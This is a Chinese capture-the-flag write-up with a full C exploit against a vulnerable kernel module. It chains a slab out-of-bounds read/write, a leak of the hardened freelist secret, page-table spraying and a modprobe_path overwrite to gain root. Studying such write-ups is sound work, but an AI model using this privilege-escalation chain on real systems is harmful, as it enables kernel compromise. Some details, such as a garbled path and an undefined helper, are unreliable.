multifiles
这题先看multifiles.c源码
从 multifiles_read和 multifiles_write可以看出我们read和wrtie都是操作的 ((u8 *) &multi_file->data[0]) + old_offset,也就是我们是从 multifile + 0x20开始读写,但是read和write和llseek都是以 sizeof(MultiFile)为边界的,也就是我们的offset有0x9f(sizeof(multifile)为0xa0,但是边界是<=,所以只有0x9f),这里我们就有一个越界读写了,可以先算算能越界到哪里,假设我们现在create了multifile_a和multifile_b
A.data 起点在 A + 0x20
允许访问到 A + 0x20 + 0x9f = A + 0xbf
B 起点是 A + 0xa0
所以我们能越界的是:
B + 0x00 到 B + 0x1f
也就是能碰到:
B.type
B.flags
B.name
但是这里在diff文件里,我们可以看到这里限制 kmem_cache_has_object(cachep, to),这里会检查是否是我们规定的cachep
multifiles_cache = kmem_cache_create_usercopy(
MODULE_NAME "_cache",
sizeof(MultiFile),
0,
SLAB_NO_MERGE,
offsetof(MultiFile, name),
USERCOPY_SIZE,
NULL
);
if (multifiles_cache == NULL) {
return -ENOMEM;
}
这里我们可以看到这里cachep限制的是从multifile的name开始
#define USERCOPY_SIZE (sizeof(u64) * DATA_COUNT + sizeof(char) * NAME_SIZE)
也就是限制在整个name到整个data区
所以我们的读写范围只能在multifile的name到data区
注意,我们前面计算出的B + 0x00 到 B + 0x1f是我们写入的起始位置的范围,我们读写的长度是 count,而count的范围限制在0x40一下,所以我们实际能读写的就是B的name区和data区的前0x30(B + 0x20 到 B +0x60)
这里要先了解slub和freelist机制
简单来说,SLUB 是 Linux 内核目前默认的内存分配器,负责管理各种大小的小块内存(称为 Objects)。
- 什么是 SLUB 分配器:
当内核需要创建一个结构体(比如 MultiFile)时,它不会直接找物理内存,而是向 SLUB 申请。
- Slab/Cache: SLUB 为每种特定大小或类型的对象维护一个“仓库”,称为 Cache。
- Object: 仓库里的每一个“小格子”就是一个 Object。
- Slab Page: 仓库由一个或多个物理内存页组成,这些页被划分为许多等大的 Object。
- Freelist 机制:
SLUB 使用了 Freelist 机制,知道哪些 Object 是空闲的
Freelist 实际上是一个单向链表。为了节省空间,内核并不会额外开辟内存来存这个链表,而是直接利用处于空闲状态的 Object 内部的内存来存放指向“下一个空闲对象”的指针。
- 当 Object 被使用时:里面存的是我们的数据(如
MultiFile的name和data)。 - 当 Object 空闲(Free)时:里面会多出一个指针(Freelist Pointer),指向下一个可以被分配的 Object。
- Freelist Pointer 的位置规则
计算公式 ALIGN_DOWN(object_size / 2, 8) (是 SLUB 在没有开启特殊调试选项(如 CONFIG_SLUB_DEBUG)或特殊加固设置时的一种默认策略)
现代 SLUB 的放置逻辑:
为了防御攻击,内核引入了随机化和特定的偏移规则:
- 对象大小 (
object_size):0xa0(160 字节)。 - 取中间值:
0xa0 / 2 = 0x50(80 字节)。 - 对齐处理:
ALIGN_DOWN(..., 8)确保指针地址是 8 字节对齐的(在 64 位系统上,指针必须对齐)。 - 最终位置:
0x50。
而前面我们提到,我们能利用A来越界读写B + 0x20 到 B + 0x60,也就是我们能读写B里面的freelist
这里我们exp里是这样接收泄露的
static u64 leak_encoded_freeptr(int fd, u32 a_idx)
{
unsigned char buf[0x40];
set_active(fd, a_idx);
lseek(fd, 0x98, SEEK_SET);
ssize_t n = read(fd, buf, sizeof(buf));
return *(u64 *)(buf + 0x38);
}
A + 0x20 + 0x98 = B + 0x18,buf是40字节,也就是buf是B + 0x18 到B + 0x58的内容,那buf + 0x38就是B + 0x50也就是我们存放freeptr的地方,这样我们久泄露了freeptr
但是这题开了 SLAB_FREELIST_HARDENED,所以 free object 里的 next 指针会被编码,我们泄露的其实是加密后的encode
encoded = next ^ secret ^ swab(freeptr_addr)
其中:
- next = freelist 里的下一个对象地址
- secret = 本 cache 的 safe-linking secret
- freeptr_addr = 当前这个 freelist 字段自己所在的位置
- swab() = 字节交换
这里freelist 字段在B偏移 0x50,那么freeptr_addr就是 B + 0x50
也就是enc(B) = next(B) ^ secret ^ swab(B+0x50)
所以我们只泄露一个encode是无法后续伪造freelist的,我们要再泄露一次
我们假设第一次泄露的是enc1,enc1 = next1 ^ secret ^ swab(B+0x50)
这里我们有三个未知量:
- next1
- secret
- B 的地址
我们怎么能再泄露一次让我们能解出这三个未知量呢,我们要把这个freeobject放到freelist尾部
这里一个slab page是4096字节,我们一个object(multifile是160字节),也就是一页最多放25我们的object
- 初始状态(空页):25 个对象全是空闲的,它们连在一起:
ObjA -> ObjB -> Obj3 -> ... -> Obj25 -> NULL。 - 创建 25 个后(满页):此时,这页内存的
freelist记录为NULL。 - 删除第 2 个:我们把
Obj2释放了,这页内存的freelist会指向ObjB,由于此时这页内存里只有Obj2是空闲的,那么Obj2内部存储的next自然就是NULL。
那此时我们再跟前面一样利用A越界泄露B存的enc2,enc_2 = 0 ^ secret ^ swab(B+0x50),那此时我们enc1和enc2异或可以得到enc1 ^ enc2 = next,这里的next也就是obj3的地址,也就是我们泄露了两次能获得obj3的地址
那我们又知道一个object的大小(multfile的大小),那B = C - 0xa0,那我们是不是就能获得B的地址了,那我们最开始的那三个未知数已经知道了两个,那我们也就能求出secret,我们就成功获得了伪造freelist的公式
接下来我们要制造跨页fake object
这里我们知道B的地址,那只要把B的低12位清空我们就得到了B所在的slab page的基地址 u64 slab_base = b_addr & ~0xfffULL;
我们前面计算过:
0x1000 / 0xa0 = 25 余 0x60
也就是第25个obj的结尾再slab_base + 0xfa0的位置
那假设我们把freelist 伪造成:
fake = slab_base + 0xfa0
那此时我们利用这个slab_base申请出的object就是一个跨页的object(注意,我们这个跨页的object的encode要填充成next为null的encode,防止后面kmalloc出错)
我们的exp实现上面整个制造跨页object的函数是:
static int setup_fake(u32 *fake_idx)
{
int fd = open(DEV_PATH, O_RDWR);
long a = create_file(fd, "AAAAAAAAAAAAAAAA");
long b = create_file(fd, "BBBBBBBBBBBBBBBB");
delete_file(fd, (u32)b);
u64 enc_next = leak_encoded_freeptr(fd, (u32)a);
long r = create_file(fd, "RRRRRRRRRRRRRRRR");
for (int i = 2; i < 25; i++)
{
char name[16];
memset(name, 'a' + (i % 26), 15);
name[15] = '\0';
create_file(fd, name);
}
delete_file(fd, (u32)r);
u64 enc_null = leak_encoded_freeptr(fd, 0);
u64 next_obj = enc_next ^ enc_null;
u64 b_addr = next_obj - 0xa0;
u64 fp_addr = b_addr + 0x50;
u64 secret = enc_null ^ swab64(fp_addr);
u64 slab_base = b_addr & ~0xfffULL;
u64 fake_addr = slab_base + 0xfa0;
u64 fake_fp = fake_addr + 0x50;
u64 enc_fake = encoded_fake(fake_addr, secret, fp_addr);
u64 enc_fake_null = encoded_fake(0, secret, fake_fp);
write_encoded_freeptr(fd, 24, enc_fake_null);
write_encoded_freeptr(fd, 0, enc_fake);
long real_b = create_file(fd, "REALBBBBBBBBBBBB");
long fake = create_file(fd, "FAKEFFFFFFFFFFF");
*fake_idx = (u32)fake;
return fd;
}
我们有了一个跨页的fake object读写能力,但是这个能力还不是很强,我们要spray PIE
PTE Page(页表条目页)是指引 CPU 如何从虚拟地址找到物理地址。
PTE Page 实际上是一个标准的 4KB 物理页。但这个页里不存你的数据,而是整整齐齐地存了 512 个 PTE 条目(每个条目 8 字节,512 * 8 = 4096字节)。
PTE 条目的内部结构:
每一个 PTE 条目(8 字节/64 位)都决定了一个虚拟页的“生死”和“权限”。其位布局如下:
- Bit 0 (P - Present): 物理页是否存在于内存中。
- Bit 1 (R/W - Read/Write): 是否可写。
- Bit 2 (U/S - User/Supervisor): 用户态是否可访问。
- Bit 63 (NX - No Execute): 是否禁止执行代码。
- Bits 12-51 (PFN - Physical Frame Number): 真正指向的物理内存地址。
如果我们能控制一个 PTE 条目,就有:
- 任意读写:我们可以把一个我们拥有权限的虚拟地址,通过修改 PTE 的 PFN 指向内核任何地方(比如
cred结构体或modprobe_path)。 - 权限提升:我们可以为一个只读的内核内存页强行开启 R/W 位,或者为用户态地址开启内核执行权限(绕过 SMEP/SMAP)。
那我们就要想办法把我们下一页变成PTE page,这样我们就能利用fake object跨页控制PTE page
页表喷射(Page Table Spraying):
- 原理:用户态通过
mmap大量内存并对每个 2MB 区域进行一次写入,迫使内核分配成千上万个 PTE Pages。 - 目的:让这些 PTE Page 占据原本由 SLUB 管理的内存区域。
- 结合漏洞:我们能利用跨页读写能力改写一个落在 SLUB 里的对象,而这个对象刚好被 PTE Page 覆盖了,我们就能控制PTE page。
我们exp中是这样的:
static void spray_one_pte_mapping(int idx)
{
size_t len = 0x400000;
char *base = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
uintptr_t aligned = ((uintptr_t)base + 0x1fffff) & ~0x1fffffULL;
g_map = base;
g_aligned = (void *)aligned;
for (int j = 1; j < 8; j++)
{
volatile char *p = (char *)(aligned + j * 0x1000);
*p = (char)(0x40 + idx + j);
}
}
-
size_t len = 0x400000;
先申请 4MB 的空间。申请 4MB 是为了确保跨越至少两个 2MB 边界,方便后续对齐。 -
mmap(NULL, len, ...);
在用户态申请匿名映射内存。注意此时内核只是给了虚拟地址,并没有真正分配物理内存,也没有创建底层的 PTE 页表。 -
uintptr_t aligned = ((uintptr_t)base + 0x1fffff) & ~0x1fffffULL;
。0x1fffff是 2MB - 1。这段位运算将地址向上对齐到 2MB 边界。- 原理:在 Linux 的四级页表体系中,一个 PTE Page(4KB)正好负责映射 512 个 4KB 页,也就是 2MB。
- 目的:对齐到 2MB 边界,是为了确保接下来我们要touch的这些地址,都属于同一个特定的 PTE Page 管理范围。
-
for (int j = 1; j < 8; j++) { ... *p = ...; }
这个循环在Touch刚刚申请的内存。- 为什么用
volatile? 防止编译器优化掉这个写入操作。 - 为什么要写数据? 当我们向一个刚
mmap的地址写入数据时,会触发一个 缺页异常(Page Fault)。内核意识到你需要用这块地了,于是它会:- 分配一个物理页。
- 分配一个 PTE Page(如果这块 2MB 区域对应的页表还没建立的话)。
- 在 PTE Page 里填入映射关系。
- 为什么用
简单来说,我们用mmap圈了4MB的地,但是此时还没分配PTE page(PTE page本身的大小是一页4kb,但是它有512个条目,每个条目对应的是一页,也就是4kb,所以说分配一个PTE page实际上要分配2MB的大小供PTE page映射)等到我们用for循环开始往条目1到7写入的时候,内核会真正分配2MB的空间,有概率会把PTE page 放到slub管理的内存区域,我们就完成了一次页表喷射。
这题我采用的是建一个跨页的fake object,然后完成一次页表喷射,然后检查是否成功,如果不成功就循环再创建fake object
这里检查用的是
static void read_fake_qwords(int fd, u32 fake_idx, u64 *out)
{
unsigned char buf[0x40];
set_active(fd, fake_idx);
lseek(fd, 0x38, SEEK_SET);
ssize_t n = read(fd, buf, sizeof(buf));
memcpy(out, buf, 0x40);
}
fake object 起点在 slab+0xfa0
data 起点在 fake+0x20 = slab+0xfc0
所以:
offset=0x38 时,读起点是 slab+0xfc0+0x38 = slab+0xff8
offset=0x40 时,读起点是 slab+0xfc0+0x40 = next_page+0x0
这题能跨页读的前提是:
- 起始地址仍然在 slab 内
- 然后 count 跨到下一页
0x38 满足这个条件,因为起点还在 slab+0xff8。
0x40 不满足,因为起点已经直接落到 next_page 了。patched usercopy/helper 会把这次 copy 判掉,所以这里从fake_idx + 0x38开始读,我们传入的是q[8]数组,所以q[1]是PTE page的第一条条目,我们第一条条目故意没设置,所以肯定是0。
int pte = 0;
for (int k = 2; k < 8; k++)
{
u64 low = q[k] & 0xfff;
if ((q[k] & 1) &&
(low == 0x67 || low == 0x25 || low == 0x867))
{
pte++;
}
}
我们是通过检查PTE条目的低12位标志判断是否成功撞上的
现在我们只要这样改:
q[1] = (phys & ~0xfffULL) | 0x8000000000000067ULL;
q[1] 改成想映射的物理页 phys,flags 用 ...067,也就是 present/rw/user 这一套
有了修改PTE page能力之后我们该怎么利用呢,在exp的main的开头有这一个函数:
static void install_helper(void)
{
int fd = open("/home/ctf/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
const char *s =
"#!/bin/sh\n"
"cat /root/flag.txt > /home/ctf/f\n"
"chmod 666 /home/ctf/f\n";
write(fd, s, strlen(s));
close(fd);
chmod("/home/ctf/x", 0777);
fd = open("/home/ctf/bad", O_WRONLY | O_CREAT | O_TRUNC, 0777);
const unsigned char bad[] = {0xff, 0xff, 0xff, 0xff};
write(fd, bad, sizeof(bad));
close(fd);
chmod("/home/ctf/bad", 0777);
}
这段函数的意思是我们先创建两个文件,一个是/home/ctf/x,另一个是/home/ctf/bad,其中,我们在/home/ctf/x这个文件里写cat flag的指令,如果这个文件能执行我们就能直接获得flag,我们在/home/ctf/bad的开头放了0xffffffff这个垃圾数据,linux内核看不懂这个文件,会把这个文件失败为坏文件,
在 Linux 中,当我们尝试执行一个格式错误(内核不认识)的文件时(比如执行那个只有 0xffffffff 的 /home/ctf/bad),内核会认为可能需要加载一些额外的模块来解析它。
此时,内核会去查看一个全局变量 modprobe_path(默认值通常是 /sbin/modprobe),并以Root 权限运行该路径指向的程序来尝试加载模块。
那只要我们把内核内存中的 modprobe_path 变量从 /sbin/modprobe 改写为 /ome/ctf/x``h,在用户态尝试运行那个坏文件:system("/home/ctf/bad");,内核发现 /home/ctf/bad 格式不对,于是立刻以Root 权限运行 modprobe_path 指向的文件(现在已经变成了 /home/ctf/x),/home/ctf/x 脚本以 Root 身份运行,成功读取 /root/flag.txt 并存入 /home/ctf/f。
那我们的目标就是找到 modprobe_path 变量并修改它
但是由于开启了 KASLR(内核地址随机化),我们很难直接知道 modprobe_path 在内核虚拟内存里的确切位置。但是,modprobe_path 在物理内存里的内容是固定的字符串:"/sbin/modprobe"。
for (u64 phys = 0x100000; phys < 0x10000000ULL; phys += 0x1000)
{
map_phys_page(fd, fake_idx, (uintptr_t)g_aligned, phys);
void *p = page + 0x940;
if (memcmp(p, old, sizeof(old)) != 0)
{
continue;
}
printf("[+] modprobe_path candidate phys=%llx off=0x940\n",
(unsigned long long)phys);
memset(p, 0, 32);
memcpy(p, newp, sizeof(newp));
if (trigger_and_print() == 0)
{
return 0;
}
memcpy(p, old, sizeof(old));
}
-
for (u64 phys = 0x100000; ...; phys += 0x1000):从物理地址0x100000(1MB)开始,以 4KB(一个页)为步长,一直扫描到0x10000000(256MB)。static void map_phys_page(int fd, u32 fake_idx, uintptr_t aligned, u64 phys) { u64 q[8] = {0}; mprotect((void *)aligned, 0x1000, PROT_READ | PROT_WRITE); mprotect((void *)aligned, 0x1000, PROT_NONE); q[0] = 0; q[1] = (phys & ~0xfffULL) | 0x8000000000000067ULL; write_fake_qwords(fd, fake_idx, q); } -
map_phys_page(fd, fake_idx, (uintptr_t)g_aligned, phys);:这里两句mprotct因为:TLB(Translation Lookaside Buffer,转换后备缓冲区)机制:
CPU 是非常贪图效率的。它不会在每一次访问内存地址时,都去内存里查那四级页表,
TLB 是 CPU 内部的缓存:它就像一个高速缓存,记录了最近使用过的“虚拟地址 \rightarrow 物理地址”的映射关系。同步危机:当我们通过漏洞在内存里修改了 PTE Page 时,你只是修改了内存里的数据。此时,CPU 的 TLB 缓存里可能还存着旧的映射关系。后果:如果没有刷新 TLB,当你随后访问 g_aligned 时,CPU 会直接去读 TLB。结果就是:我们的程序依然映射在原来的匿名内存上,根本没跳到你想要的 phys 物理地址。
在 Linux 内核中,只要页面的权限发生变化(比如从可读写变成不可读),内核就必须确保这个变化立即生效。为了实现这一点,内核在处理
mprotect系统调用时,会向 CPU 发出一条特殊的指令(如INVLPG)或触发一个 TLB Shootdown(TLB 击落)。第一步:mprotect(..., PROT_READ | PROT_WRITE)强制内核确认该页面的状态,并可能触发一次刷新。第二步:mprotect(..., PROT_NONE),把页面设为“不可访问”,内核会彻底清除该地址在所有 CPU 核心上的 TLB 缓存,以防权限泄露,所以我们这两句mprotect就是为了刷新。我们利用这个函数就把PTE page的第一个条目改成了phys,也就是现在aligned到aligned+0x1000实际上映射的是phys那页
-
void *p = page + 0x940;:在特定的内核编译版本中,modprobe_path变量在它所属的那 4KB 物理页中的偏移量是固定且已知的(这里是 0x940),这题题目给了system.map文件,我们在这个文件中可以看到ffffffff82341940 D modprobe_path,取页内偏移也就是低12位就是0x940。
一旦我们扫到了,我们按前面说的修改 modprobe_path为 /home/ctf/x,然后执行这个函数:
static void trigger(void)
{
pid_t p = fork();
if (p == 0)
{
execl("/home/ctf/bad", "bad", NULL);
_exit(0);
}
waitpid(p, NULL, 0);
usleep(250000);
int fd = open("/home/ctf/f", O_RDONLY);
char buf[256];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
buf[n] = 0;
puts(buf);
}
创造一个子进程,让那个子进程区触发读取坏文件,这样我们就成功获得flag了
EXP:
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>
static void *g_map;
static void *g_aligned;
typedef uint64_t u64;
typedef uint32_t u32;
typedef struct
{
char name[16];
} MultiFileCreateReq;
#define DEV_PATH "/dev/multifiles"
#define CHAL_IOC_MAGIC 0xC7
#define CHAL_IOC_CREATE _IOW(CHAL_IOC_MAGIC, 0x01, MultiFileCreateReq)
#define CHAL_IOC_DELETE _IOW(CHAL_IOC_MAGIC, 0x02, u32)
#define CHAL_IOC_SET_ACTIVE _IOW(CHAL_IOC_MAGIC, 0x03, u32)
static long create_file(int fd, const char *name)
{
MultiFileCreateReq req;
memset(&req, 0, sizeof(req));
strncpy(req.name, name, sizeof(req.name));
return ioctl(fd, CHAL_IOC_CREATE, &req);
}
static void delete_file(int fd, u32 idx)
{
ioctl(fd, CHAL_IOC_DELETE, idx);
}
static void set_active(int fd, u32 idx)
{
ioctl(fd, CHAL_IOC_SET_ACTIVE, idx);
}
static u64 leak_encoded_freeptr(int fd, u32 a_idx)
{
unsigned char buf[0x40];
set_active(fd, a_idx);
lseek(fd, 0x98, SEEK_SET);
ssize_t n = read(fd, buf, sizeof(buf));
return *(u64 *)(buf + 0x38);
}
static u64 swab64(u64 x)
{
return __builtin_bswap64(x);
}
static u64 encoded_fake(u64 next, u64 secret, u64 fp_addr)
{
return next ^ secret ^ swab64(fp_addr);
}
static void write_encoded_freeptr(int fd, u32 a_idx, u64 val)
{
unsigned char buf[0x40];
memset(buf, 0, sizeof(buf));
memcpy(buf + 0x38, &val, 8);
set_active(fd, a_idx);
lseek(fd, 0x98, SEEK_SET);
write(fd, buf, sizeof(buf)) != sizeof(buf);
}
static int setup_fake(u32 *fake_idx)
{
int fd = open(DEV_PATH, O_RDWR);
long a = create_file(fd, "AAAAAAAAAAAAAAAA");
long b = create_file(fd, "BBBBBBBBBBBBBBBB");
delete_file(fd, (u32)b);
u64 enc_next = leak_encoded_freeptr(fd, (u32)a);
long r = create_file(fd, "RRRRRRRRRRRRRRRR");
for (int i = 2; i < 25; i++)
{
char name[16];
memset(name, 'a' + (i % 26), 15);
name[15] = '\0';
create_file(fd, name);
}
delete_file(fd, (u32)r);
u64 enc_null = leak_encoded_freeptr(fd, 0);
u64 next_obj = enc_next ^ enc_null;
u64 b_addr = next_obj - 0xa0;
u64 fp_addr = b_addr + 0x50;
u64 secret = enc_null ^ swab64(fp_addr);
u64 slab_base = b_addr & ~0xfffULL;
u64 fake_addr = slab_base + 0xfa0;
u64 fake_fp = fake_addr + 0x50;
u64 enc_fake = encoded_fake(fake_addr, secret, fp_addr);
u64 enc_fake_null = encoded_fake(0, secret, fake_fp);
write_encoded_freeptr(fd, 24, enc_fake_null);
write_encoded_freeptr(fd, 0, enc_fake);
long real_b = create_file(fd, "REALBBBBBBBBBBBB");
long fake = create_file(fd, "FAKEFFFFFFFFFFF");
*fake_idx = (u32)fake;
return fd;
}
static void spray_one_pte_mapping(int idx)
{
size_t len = 0x400000;
char *base = mmap(NULL, len, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
uintptr_t aligned = ((uintptr_t)base + 0x1fffff) & ~0x1fffffULL;
g_map = base;
g_aligned = (void *)aligned;
for (int j = 1; j < 8; j++)
{
volatile char *p = (char *)(aligned + j * 0x1000);
*p = (char)(0x40 + idx + j);
}
}
static void read_fake_qwords(int fd, u32 fake_idx, u64 *out)
{
unsigned char buf[0x40];
set_active(fd, fake_idx);
lseek(fd, 0x38, SEEK_SET);
ssize_t n = read(fd, buf, sizeof(buf));
memcpy(out, buf, 0x40);
}
static void write_fake_qwords(int fd, u32 fake_idx, const u64 *in)
{
unsigned char buf[0x40];
memcpy(buf, in, 0x40);
set_active(fd, fake_idx);
lseek(fd, 0x38, SEEK_SET);
write(fd, buf, sizeof(buf)) != sizeof(buf);
}
static void map_phys_page(int fd, u32 fake_idx, uintptr_t aligned, u64 phys)
{
u64 q[8] = {0};
mprotect((void *)aligned, 0x1000, PROT_READ | PROT_WRITE);
mprotect((void *)aligned, 0x1000, PROT_NONE);
q[0] = 0;
q[1] = (phys & ~0xfffULL) | 0x8000000000000067ULL;
write_fake_qwords(fd, fake_idx, q);
}
static void install_helper(void)
{
int fd = open("/home/ctf/x", O_WRONLY | O_CREAT | O_TRUNC, 0777);
const char *s =
"#!/bin/sh\n"
"cat /root/flag.txt > /home/ctf/f\n"
"chmod 666 /home/ctf/f\n";
write(fd, s, strlen(s));
close(fd);
chmod("/home/ctf/x", 0777);
fd = open("/home/ctf/bad", O_WRONLY | O_CREAT | O_TRUNC, 0777);
const unsigned char bad[] = {0xff, 0xff, 0xff, 0xff};
write(fd, bad, sizeof(bad));
close(fd);
chmod("/home/ctf/bad", 0777);
}
static void trigger(void)
{
pid_t p = fork();
if (p == 0)
{
execl("/home/ctf/bad", "bad", NULL);
_exit(0);
}
waitpid(p, NULL, 0);
usleep(250000);
int fd = open("/home/ctf/f", O_RDONLY);
char buf[256];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
buf[n] = 0;
puts(buf);
}
int main(void)
{
install_helper();
for (int attempt = 0; attempt < 220; attempt++)
{
u32 fake_idx;
int fd = setup_fake(&fake_idx);
spray_one_pte_mapping(attempt);
u64 q[8];
read_fake_qwords(fd, fake_idx, q);
int pte = 0;
for (int k = 2; k < 8; k++)
{
u64 low = q[k] & 0xfff;
if ((q[k] & 1) &&
(low == 0x67 || low == 0x25 || low == 0x867))
{
pte++;
}
}
if (pte >= 4 && q[1] == 0)
{
const char old[] = "/sbin/modprobe";
const char newp[] = "/home/ctf/x";
char *page = (char *)g_aligned;
for (u64 phys = 0x100000; phys < 0x10000000ULL; phys += 0x1000)
{
map_phys_page(fd, fake_idx, (uintptr_t)g_aligned, phys);
void *p = page + 0x940;
if (memcmp(p, old, sizeof(old)) != 0)
{
continue;
}
memset(p, 0, 32);
memcpy(p, newp, sizeof(newp));
trigger();
}
printf("modprobe_path not found/worked\n");
return 0;
}
}
printf("no PTE hit\n");
return 0;
}
远程执行时有可能不是很稳,可以重复试几次。
题目链接:待更新